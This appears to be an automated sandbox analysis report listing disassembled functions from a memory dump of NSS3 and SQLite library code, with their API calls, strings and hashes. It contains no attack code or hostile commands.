Part of subcall function 6C7784C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C7784D9
Part of subcall function 6C7784C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C778528

Part of subcall function 6C778900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C76F599,?,00000000), ref: 6C778955

Strings

oid., xrefs: 6C76F2CF
fQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcml, xrefs: 6C76EFC1, 6C76F014, 6C76F07F, 6C76F0AD, 6C76F23A, 6C76F264, 6C76F5CC
*, xrefs: 6C76F3C6
", xrefs: 6C76F21B

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$fQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcmldSy.exefGTefQHbKcml$oid.
API String ID: 4161946812-2717560982
Opcode ID: 6ffeabcbd96bde21999d43d5b794f0b86d47114f91c7c76f0446a1fbcf55461a
Instruction ID: bd725fc96599827d6cba9b5920d9647394b0953191b786459675dedd800f91d4
Opcode Fuzzy Hash: 6ffeabcbd96bde21999d43d5b794f0b86d47114f91c7c76f0446a1fbcf55461a
Instruction Fuzzy Hash: A62219716083414FD714CE2ACA9076AB7E6AB85358F184A3EECD587F92E7319C05CB93

Function 6C7CA5E0 Relevance: 23.1, APIs: 15, Instructions: 574COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96d817ae28d0eef86f2e9cf151409beeda96f1b6b7dbbd8f3f0162df3b929a77
Instruction ID: 9e152f32ef7dc67676d5c9f5228dc58e7bfe27d66f490d6aedb0b4c19eeb63ed
Opcode Fuzzy Hash: 96d817ae28d0eef86f2e9cf151409beeda96f1b6b7dbbd8f3f0162df3b929a77
Instruction Fuzzy Hash: E5124E70F0425A4FCB258E388A917ED77F1AF4A33AF2841F9C59957A41D2318E85CB93

Function 6C7A0570 Relevance: 22.8, APIs: 15, Instructions: 256memoryCOMMON

Download Yara Rule

APIs

PK11_HPKE_Deserialize.NSS3(?,?,?,00000000), ref: 6C7A05E3
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7A060C
PK11_HPKE_DestroyContext.NSS3(?,00000000), ref: 6C7A061A
PK11_PubDeriveWithKDF.NSS3 ref: 6C7A0712
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7A0740
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C7A0760
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C7A07AE
PK11_FreeSymKey.NSS3(?), ref: 6C7A07BC
PK11_FreeSymKey.NSS3(?), ref: 6C7A07D1
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C7A07DD
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7A07EB
SECITEM_ZfreeItem_Util.NSS3(00000001,00000001), ref: 6C7A07F8
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C7A082F
memcpy.VCRUNTIME140(?,?,?), ref: 6C7A08A9
SECITEM_DupItem_Util.NSS3(?), ref: 6C7A08D0

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: K11_$Item_Util$ContextDestroyErrorFreeZfreememcpy$AllocCreateDeriveDeserializePublicWith
String ID:
API String ID: 657680294-0
Opcode ID: 1c6a34649447dade52379f0f7f8e0d2fff6847166c162968fb90078e82b6de00
Instruction ID: 45ae2a4afeb6246bbcbb1df70de8930b9fe5aa29ecb7b1f69ceb4691ebcff7d4
Opcode Fuzzy Hash: 1c6a34649447dade52379f0f7f8e0d2fff6847166c162968fb90078e82b6de00
Instruction Fuzzy Hash: 4391B271A043409FEB04DF65DA45B5B77E1AF8431CF148A3CE98A87791EB31D855CB82

Function 6C7DEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7DC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C7DDAE2,?), ref: 6C7DC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7DF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7DF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C7DF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7DF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C8A218C), ref: 6C7DF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C7DF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7DF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C7DF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C7DF210

Part of subcall function 6C7852D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C7DF1E9,?,00000000,?,?), ref: 6C7852F5
Part of subcall function 6C7852D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C78530F
Part of subcall function 6C7852D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C785326
Part of subcall function 6C7852D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C7DF1E9,?,00000000,?,?), ref: 6C785340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7DF227

Part of subcall function 6C7CFAB0: free.MOZGLUE(?,-00000001,?,?,6C76F673,00000000,00000000), ref: 6C7CFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C7DF23E

Part of subcall function 6C7CBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C77E708,00000000,00000000,00000004,00000000), ref: 6C7CBE6A
Part of subcall function 6C7CBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7804DC,?), ref: 6C7CBE7E
Part of subcall function 6C7CBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C7CBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C7DF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C7DF3A8

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C7DF3B3

Part of subcall function 6C782D20: PK11_DestroyObject.NSS3(?,?), ref: 6C782D3C
Part of subcall function 6C782D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C782D5F

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 501d511a2c935fba8dd8edf7337a92a3112fe19bb0fb5216ef823cb2b55476df
Instruction ID: 69ca2957c3304f1cf8d621525a5f00eb6328e6a21ea3fe3ce06c77e5df175ef1
Opcode Fuzzy Hash: 501d511a2c935fba8dd8edf7337a92a3112fe19bb0fb5216ef823cb2b55476df
Instruction Fuzzy Hash: AED15EB6E016059FEB14CFA9DA84A9EB7F5EF48308F1A8039D915A7711E731F805CB50

Function 6C6FECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6FED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6FEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6FEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C6FEF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6FF483
%s at line %d of [%.10s], xrefs: 6C6FF492
database corruption, xrefs: 6C6FF48D

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: a30b69d882eed7191bafa3ed60cb5ccfae66eb7cd8a2db8ebd294ca7875f1d99
Instruction ID: 0bbef9ad1e11d9eca32513bc49ffabdc85b5b9bf6e4b944088ff0a93152af5ad
Opcode Fuzzy Hash: a30b69d882eed7191bafa3ed60cb5ccfae66eb7cd8a2db8ebd294ca7875f1d99
Instruction Fuzzy Hash: 13623470A042458FDB14CF68C484B9ABBF3BF45318F1841A8D8655BB92D735E887CBDA

Function 6C7A0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C7A0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7A0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C7A1006
PK11_FreeSymKey.NSS3(?), ref: 6C7A101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7A1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7A103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C7A1048
memcpy.VCRUNTIME140(?,?,?), ref: 6C7A108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7A10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C7A10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C7A112E

Part of subcall function 6C7A1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C7A08C4,?,?), ref: 6C7A15B8
Part of subcall function 6C7A1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C7A08C4,?,?), ref: 6C7A15C1
Part of subcall function 6C7A1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A162E
Part of subcall function 6C7A1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7A1637

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 800eac017df7b5578c5618e243948afce98fe04ed16e473711d7e53ec1296b69
Instruction ID: 648cf5e0dc039e84ab95eae6494ed58bcec0cc0c7b35c3f818ab6970a461ecd8
Opcode Fuzzy Hash: 800eac017df7b5578c5618e243948afce98fe04ed16e473711d7e53ec1296b69
Instruction Fuzzy Hash: BA71C275A00205CFEB04CFAACA84A6BB7B5BF48318F14863CE51997711E771D946CB81

Function 6C75C650 Relevance: 16.5, APIs: 7, Strings: 2, Instructions: 760COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C75C859
0123456789ABCDEF, xrefs: 6C75D104

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEF$0123456789abcdef
API String ID: 0-885041942
Opcode ID: f7467f0e028e07c20a1d238d6ca7ae2c85578c96368faa267c81ca93d9d877c9
Instruction ID: 1e4edcc3fae0e1f80fd14bc7fbee1b4dee01dcc23169d743f346414d2bf3655a
Opcode Fuzzy Hash: f7467f0e028e07c20a1d238d6ca7ae2c85578c96368faa267c81ca93d9d877c9
Instruction Fuzzy Hash: 3E5246706083018FD714DF28C65035ABBE2EFCA359F948A2DE8D587B91DB35D856CB82

Function 6C848550 Relevance: 16.3, APIs: 8, Strings: 1, Instructions: 528stringCOMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000021B,recovered %d pages from %s,00000000,?), ref: 6C8485CC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C8486CA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C84875F
memset.VCRUNTIME140(?,00000000,?), ref: 6C84893A
sqlite3_free.NSS3(?), ref: 6C848977
sqlite3_free.NSS3 ref: 6C8489A5
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C848B68
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C848B79

Strings

recovered %d pages from %s, xrefs: 6C8485C2

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@sqlite3_free$memsetsqlite3_logstrcmpstrlen
String ID: recovered %d pages from %s
API String ID: 1138475946-1623757624
Opcode ID: cb64649f21a4a1fd790fd63f3d9cc278fdf4284fd20968c520cdc568cde09a09
Instruction ID: 5f8cc82aa9da724a7b3ea4636c8a8cdba14f11882bf79b06360cbcd546bd046f
Opcode Fuzzy Hash: cb64649f21a4a1fd790fd63f3d9cc278fdf4284fd20968c520cdc568cde09a09
Instruction Fuzzy Hash: 2A1239746083059FD714CF29C990B6BBBE5AF89308F048D2EE99AC7751E770E845CB92

Function 6C7C6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C771C6F,00000000,00000004,?,?), ref: 6C7C6C3F

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C771C6F,00000000,00000004,?,?), ref: 6C7C6C60
PR_ExplodeTime.NSS3(00000000,6C771C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C771C6F,00000000,00000004,?,?), ref: 6C7C6C94

Strings

gfff, xrefs: 6C7C6D9C
gfff, xrefs: 6C7C6CFD
gfff, xrefs: 6C7C6D30
gfff, xrefs: 6C7C6D66
gfff, xrefs: 6C7C6CF5

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 7f720350263b342a041b7d2ae3a4ed76665f160bd2f34ba5cefc27872817462f
Instruction ID: 681b7aeb5f430fe867485bc7599c717d3cfb1e23e302fc388df6404fb078efdf
Opcode Fuzzy Hash: 7f720350263b342a041b7d2ae3a4ed76665f160bd2f34ba5cefc27872817462f
Instruction Fuzzy Hash: E5516C72B016494FC718CDADDD926EAB7DAABA4310F48C23AE442CB785D638E906C751

Function 6C848FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C848FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8490DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C849118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C84915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8491C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C849209

Strings

UUUU, xrefs: 6C849255
3333, xrefs: 6C84925E

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 6d8ca38df0b9cbae2f54ccab00ac5c9cdf48f635ff2e0c509141a5fc82a4d6cc
Instruction ID: c4411d26438112cfc2024d85e3dfef920f933b84509d7860b721a11a6e08c168
Opcode Fuzzy Hash: 6d8ca38df0b9cbae2f54ccab00ac5c9cdf48f635ff2e0c509141a5fc82a4d6cc
Instruction Fuzzy Hash: CBA19172E001199BDB24CB68CE91B9EB7B5BF88324F098579D915A7741E736AC01CBD0

Function 6C700FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C6FCA30: EnterCriticalSection.KERNEL32(?,?,?,6C75F9C9,?,6C75F4DA,6C75F9C9,?,?,6C72369A), ref: 6C6FCA7A
Part of subcall function 6C6FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6FCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C70103E
EnterCriticalSection.KERNEL32(?), ref: 6C701139
LeaveCriticalSection.KERNEL32(?), ref: 6C701190
sqlite3_free.NSS3(00000000), ref: 6C701227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C70126E
sqlite3_free.NSS3(?), ref: 6C70127F

Strings

winAccess, xrefs: 6C70129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C701267

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: bad670f76c0f15e98ef159babe40eb2dc7dd27e38ffecda068c7806a68a43e9c
Instruction ID: 293b713447c27e9020d90465aaacffe91bdc2ea968b8dc026b4912c6bafc8eb4
Opcode Fuzzy Hash: bad670f76c0f15e98ef159babe40eb2dc7dd27e38ffecda068c7806a68a43e9c
Instruction Fuzzy Hash: 5971E7B17052019BEB289F64DE85A6A33F6FB8636CF144639E91187A81DB30ED05C7D2

Function 6C70AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C82CF46,?,6C6FCDBD,?,6C82BF31,?,?,?,?,?,?,?), ref: 6C70B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C82CF46,?,6C6FCDBD,?,6C82BF31), ref: 6C70B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C82CF46,?,6C6FCDBD,?,6C82BF31), ref: 6C70B0A2
CloseHandle.KERNEL32(?,?,6C82CF46,?,6C6FCDBD,?,6C82BF31,?,?,?,?,?,?,?,?,?), ref: 6C70B100
sqlite3_free.NSS3(?,?,00000002,?,6C82CF46,?,6C6FCDBD,?,6C82BF31,?,?,?,?,?,?,?), ref: 6C70B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C82CF46,?,6C6FCDBD,?,6C82BF31), ref: 6C70B12D

Part of subcall function 6C6F9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C70C6FD,?,?,?,?,6C75F965,00000000), ref: 6C6F9F0E
Part of subcall function 6C6F9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C75F965,00000000), ref: 6C6F9F5D

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 7a199947758b6ee802323609e6d687380a98c7340936ea921d420658c2e97c7b
